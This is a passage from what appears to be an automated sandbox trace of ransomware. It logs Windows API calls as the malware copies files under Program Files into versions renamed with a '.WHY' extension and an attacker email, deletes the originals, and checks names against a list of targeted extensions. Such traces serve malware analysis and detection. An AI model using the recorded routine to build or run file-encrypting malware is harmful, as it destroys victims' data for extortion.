lpFileSize=0x2e2ff1c*=6922) returned 1 [0230.032] CloseHandle (hObject=0x380) returned 1 [0230.032] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png")) returned 0x20 [0230.033] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0230.036] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.037] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0230.037] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0230.037] lstrlenW (lpString=".doc") returned 4 [0230.037] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0230.037] lstrlenW (lpString=".docx") returned 5 [0230.037] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0230.037] lstrlenW (lpString=".pdf") returned 4 [0230.037] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0230.037] lstrlenW (lpString=".xls") returned 4 [0230.037] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0230.037] lstrlenW (lpString=".xlsx") returned 5 [0230.038] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0230.038] lstrlenW (lpString=".ppt") returned 4 [0230.038] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0230.038] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0230.038] lstrlenW (lpString=".zip") returned 4 [0230.038] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0230.038] lstrlenW (lpString=".rar") returned 4 [0230.038] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0230.038] lstrlenW (lpString=".bz2") returned 4 [0230.038] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0230.038] lstrlenW (lpString=".7z") returned 3 [0230.038] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0230.038] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0230.038] lstrlenW (lpString=".dbf") returned 4 [0230.038] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0230.044] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0230.046] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0231.806] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0232.065] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.066] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0232.071] GetLastError () returned 0x0 [0232.072] ReadFile (in: hFile=0x290, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x4932, lpOverlapped=0x0) returned 1 [0232.077] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x4940, lpOverlapped=0x0) returned 1 [0232.080] ReadFile (in: hFile=0x290, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.081] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0232.081] SetEndOfFile (hFile=0x388) returned 1 [0232.081] CloseHandle (hObject=0x388) returned 1 [0232.086] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.086] SetEndOfFile (hFile=0x290) returned 1 [0232.095] CloseHandle (hObject=0x290) returned 1 [0232.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0232.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 1 [0232.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0232.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0232.097] lstrlenW (lpString=".doc") returned 4 [0232.098] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.098] lstrlenW (lpString=".docx") returned 5 [0232.098] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0232.098] lstrlenW (lpString=".pdf") returned 4 [0232.098] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.098] lstrlenW (lpString=".xls") returned 4 [0232.098] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.098] lstrlenW (lpString=".xlsx") returned 5 [0232.098] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0232.098] lstrlenW (lpString=".ppt") returned 4 [0232.098] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0232.098] lstrlenW (lpString=".zip") returned 4 [0232.098] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.099] lstrlenW (lpString=".rar") returned 4 [0232.099] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.099] lstrlenW (lpString=".bz2") returned 4 [0232.099] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.099] lstrlenW (lpString=".7z") returned 3 [0232.099] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0232.099] lstrlenW (lpString=".dbf") returned 4 [0232.099] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0232.099] lstrlenW (lpString=".1cd") returned 4 [0232.099] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0232.100] lstrlenW (lpString=".jpg") returned 4 [0232.100] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0232.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0232.100] lstrlenW (lpString=".doc") returned 4 [0232.100] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.100] lstrlenW (lpString=".docx") returned 5 [0232.100] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0232.100] lstrlenW (lpString=".pdf") returned 4 [0232.100] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.101] lstrlenW (lpString=".xls") returned 4 [0232.101] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.101] lstrlenW (lpString=".xlsx") returned 5 [0232.101] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0232.101] lstrlenW (lpString=".ppt") returned 4 [0232.101] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0232.101] lstrlenW (lpString=".zip") returned 4 [0232.101] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.101] lstrlenW (lpString=".rar") returned 4 [0232.101] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.101] lstrlenW (lpString=".bz2") returned 4 [0232.101] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.101] lstrlenW (lpString=".7z") returned 3 [0232.102] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0232.102] lstrlenW (lpString=".dbf") returned 4 [0232.102] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0232.104] lstrlenW (lpString=".1cd") returned 4 [0232.104] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0232.104] lstrlenW (lpString=".jpg") returned 4 [0232.104] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.105] lstrcmpiW (lpString1=".xsl", lpString2=".WHY") returned 1 [0232.105] lstrlenW (lpString="Informix.xsl") returned 12 [0232.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0232.238] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=30948) returned 1 [0232.238] CloseHandle (hObject=0x398) returned 1 [0232.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0232.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0232.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0232.239] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.239] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0232.240] GetLastError () returned 0x0 [0232.240] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x78e4, lpOverlapped=0x0) returned 1 [0232.245] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x78f0, lpOverlapped=0x0) returned 1 [0232.251] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.251] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.251] SetEndOfFile (hFile=0x39c) returned 1 [0232.252] CloseHandle (hObject=0x39c) returned 1 [0232.254] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.254] SetEndOfFile (hFile=0x398) returned 1 [0232.262] CloseHandle (hObject=0x398) returned 1 [0232.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0232.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1 [0232.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0232.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0232.264] lstrlenW (lpString=".doc") returned 4 [0232.265] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.265] lstrlenW (lpString=".docx") returned 5 [0232.265] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0232.265] lstrlenW (lpString=".pdf") returned 4 [0232.265] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.265] lstrlenW (lpString=".xls") returned 4 [0232.265] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.265] lstrlenW (lpString=".xlsx") returned 5 [0232.265] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0232.265] lstrlenW (lpString=".ppt") returned 4 [0232.265] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0232.265] lstrlenW (lpString=".zip") returned 4 [0232.265] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.265] lstrlenW (lpString=".rar") returned 4 [0232.266] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.266] lstrlenW (lpString=".bz2") returned 4 [0232.266] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.266] lstrlenW (lpString=".7z") returned 3 [0232.266] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0232.266] lstrlenW (lpString=".dbf") returned 4 [0232.266] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0232.266] lstrlenW (lpString=".1cd") returned 4 [0232.266] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0232.266] lstrlenW (lpString=".jpg") returned 4 [0232.266] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0232.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0232.267] lstrlenW (lpString=".doc") returned 4 [0232.267] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.267] lstrlenW (lpString=".docx") returned 5 [0232.267] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0232.267] lstrlenW (lpString=".pdf") returned 4 [0232.267] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.267] lstrlenW (lpString=".xls") returned 4 [0232.267] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.267] lstrlenW (lpString=".xlsx") returned 5 [0232.267] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0232.268] lstrlenW (lpString=".ppt") returned 4 [0232.268] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0232.268] lstrlenW (lpString=".zip") returned 4 [0232.268] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.268] lstrlenW (lpString=".rar") returned 4 [0232.268] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.268] lstrlenW (lpString=".bz2") returned 4 [0232.268] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.268] lstrlenW (lpString=".7z") returned 3 [0232.268] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0232.268] lstrlenW (lpString=".dbf") returned 4 [0232.269] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0232.269] lstrlenW (lpString=".1cd") returned 4 [0232.269] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0232.269] lstrlenW (lpString=".jpg") returned 4 [0232.269] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.270] lstrcmpiW (lpString1=".xsl", lpString2=".WHY") returned 1 [0232.270] lstrlenW (lpString="sql70.xsl") returned 9 [0232.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0232.427] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=32146) returned 1 [0232.427] CloseHandle (hObject=0x38c) returned 1 [0232.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0232.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0232.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0232.429] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.429] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0232.432] GetLastError () returned 0x0 [0232.432] ReadFile (in: hFile=0x38c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x7d92, lpOverlapped=0x0) returned 1 [0232.439] WriteFile (in: hFile=0x37c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x7da0, lpOverlapped=0x0) returned 1 [0232.443] ReadFile (in: hFile=0x38c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.443] WriteFile (in: hFile=0x37c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0232.444] SetEndOfFile (hFile=0x37c) returned 1 [0232.444] CloseHandle (hObject=0x37c) returned 1 [0232.446] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.446] SetEndOfFile (hFile=0x38c) returned 1 [0232.457] CloseHandle (hObject=0x38c) returned 1 [0232.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0232.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 1 [0232.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0232.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0232.459] lstrlenW (lpString=".doc") returned 4 [0232.459] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.459] lstrlenW (lpString=".docx") returned 5 [0232.459] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0232.459] lstrlenW (lpString=".pdf") returned 4 [0232.459] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.459] lstrlenW (lpString=".xls") returned 4 [0232.459] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.459] lstrlenW (lpString=".xlsx") returned 5 [0232.459] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0232.460] lstrlenW (lpString=".ppt") returned 4 [0232.460] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0232.460] lstrlenW (lpString=".zip") returned 4 [0232.460] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.460] lstrlenW (lpString=".rar") returned 4 [0232.460] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.460] lstrlenW (lpString=".bz2") returned 4 [0232.460] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.460] lstrlenW (lpString=".7z") returned 3 [0232.460] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0232.460] lstrlenW (lpString=".dbf") returned 4 [0232.461] lstrcmpiW (lpString1=".dbf", 